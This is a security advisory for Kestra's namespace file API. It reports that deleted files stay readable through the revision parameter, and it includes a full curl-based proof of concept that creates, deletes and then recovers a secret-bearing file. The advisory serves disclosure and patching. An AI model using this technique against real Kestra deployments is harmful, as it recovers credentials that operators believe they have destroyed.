Skip to content

Deleted namespace file content remains readable via the revision parameter

Moderate
loicmathieu published GHSA-xh2h-59mw-8qr2 Sep 29, 2026

Package

maven io.kestra:core (Maven)

Affected versions

>= 1.2.0
>= 1.2.0

Patched versions

1.3.40
2.0.3

Description

Summary

Deleting a namespace file removes only its index entry. The stored object is never removed, and the same API endpoint still returns the content when a revision query parameter is supplied. Every listing reports the file as gone, so an operator who deletes a file that contained a credential is told the data is destroyed while the API continues to serve it to any authenticated caller, indefinitely.

Details

InternalNamespace.delete(Path) marks metadata rows deleted and never calls storage.delete:

  • core/src/main/java/io/kestra/core/storages/InternalNamespace.java:551-569

The same class already contains the correct routine. purge(NamespaceFile) marks the metadata entry deleted and then removes the object, in that order, with a comment explaining the ordering:

  • core/src/main/java/io/kestra/core/storages/InternalNamespace.java:225-232

purge is used by the move path at InternalNamespace.java:220. The delete path does not use it.

The read path is what makes the leftover object reachable. getFileContent rejects deleted files only on the default lookup, because findByPath(Path, Integer) passes allowDeleted=false:

  • core/src/main/java/io/kestra/core/storages/InternalNamespace.java:264-276
  • core/src/main/java/io/kestra/core/storages/InternalNamespace.java:330-332

When a revision is supplied, the lookup resolves a version row and resolveExistingRevisionUri then walks revisions downward and returns the first object that still exists on disk:

  • core/src/main/java/io/kestra/core/storages/InternalNamespace.java:288-306

Because no object is ever removed, that walk always succeeds for any revision the file ever had. The endpoint that exposes the parameter is:

  • webserver/src/main/java/io/kestra/webserver/controllers/api/NamespaceFileController.java:84-100

PoC

Verified against the published kestra/kestra:develop image, version 2.1.0-SNAPSHOT.

Start an instance with local storage and an H2 backend:

docker run -d --name kestra-poc -p 18090:8080 \
  -e KESTRA_CONFIGURATION='kestra:
  repository:
    type: h2
  queue:
    type: h2
  storage:
    type: local
    local:
      base-path: /tmp/kestra-poc-storage
  url: http://localhost:8080/' \
  kestra/kestra:develop server local

Create the administrator account, then use it for the remaining calls:

curl -s -X POST http://localhost:18090/api/v1/main/basicAuth \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin@example.test","password":"Admin12345"}'
A='admin@example.test:Admin12345'
B=http://localhost:18090

Create revision 1, then overwrite to produce revision 2:

printf 'SENSITIVE_MARKER_V1=aaaa-1111' > nsf.txt
curl -s -u "$A" -X POST "$B/api/v1/main/namespaces/lifecycle.test/files?path=/secret.txt" -F "fileContent=@nsf.txt"
printf 'SENSITIVE_MARKER_V2=bbbb-2222' > nsf.txt
curl -s -u "$A" -X POST "$B/api/v1/main/namespaces/lifecycle.test/files?path=/secret.txt" -F "fileContent=@nsf.txt"

Positive control, the file reads back normally before deletion:

curl -s -u "$A" "$B/api/v1/main/namespaces/lifecycle.test/files?path=/secret.txt"
SENSITIVE_MARKER_V2=bbbb-2222

Delete it through the product API:

curl -s -u "$A" -X DELETE "$B/api/v1/main/namespaces/lifecycle.test/files?path=/secret.txt"
HTTP 200

Negative control, every path that would tell a user the data still exists reports it absent:

curl -s -u "$A" "$B/api/v1/main/namespaces/lifecycle.test/files?path=/secret.txt"            -> HTTP 404
curl -s -u "$A" "$B/api/v1/main/namespaces/lifecycle.test/files/directory?path=/"            -> []
curl -s -u "$A" "$B/api/v1/main/namespaces/lifecycle.test/files/search?q=secret"             -> []
curl -s -u "$A" "$B/api/v1/main/namespaces/lifecycle.test/files/revisions?path=/secret.txt"  -> HTTP 404 File not found
curl -s -u "$A" "$B/api/v1/main/namespaces/lifecycle.test/files?path=/secret.txt&revision=2" -> HTTP 404

The deleted content is still served when revision 1 is requested:

curl -s -u "$A" "$B/api/v1/main/namespaces/lifecycle.test/files?path=/secret.txt&revision=1"
SENSITIVE_MARKER_V1=aaaa-1111

Both objects remain on disk inside the container:

docker exec kestra-poc sh -c 'find / -name "secret.txt*" -not -path "/proc/*"'
/app/data/main/lifecycle/test/_files/secret.txt
/app/data/main/lifecycle/test/_files/secret.txt.v2

Target process attribution, recorded from the container that served the requests:

container id:       6c8eb37884abb8b1f087febb95f7906081fab4e32b671af08d7b08a18a653c37
container id short: 6c8eb37884ab
host pid:           4121542
in-container pid:   1
uid:                1000 (kestra)
working directory:  /app
command line:       java -XX:MaxRAMPercentage=50.0 ... -jar /app/kestra server local

All requests traversed the normal HTTP stack, including AuthenticationFilter. Unauthenticated calls to the same endpoints returned HTTP 401 during the same session, which confirms the filter chain was active for this run.

Impact

Incomplete deletion leading to information disclosure. Any principal that can read namespace files can recover the content of files that were deleted at any point in the past, including files deleted specifically because they contained a secret. The product actively reports the data as gone through the file read, directory listing, search and revisions endpoints, so the exposure is invisible to an operator auditing whether a leaked credential was removed. On Enterprise Edition, where namespace access is permissioned, a user granted access to a namespace after a deletion can read content that predates their access. The stored objects also accumulate without bound, since nothing ever reclaims them.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

CVE ID

No known CVE

Weaknesses

Incomplete Cleanup

The product does not properly clean up and remove temporary or supporting resources after they have been used. Learn more on MITRE.

Credits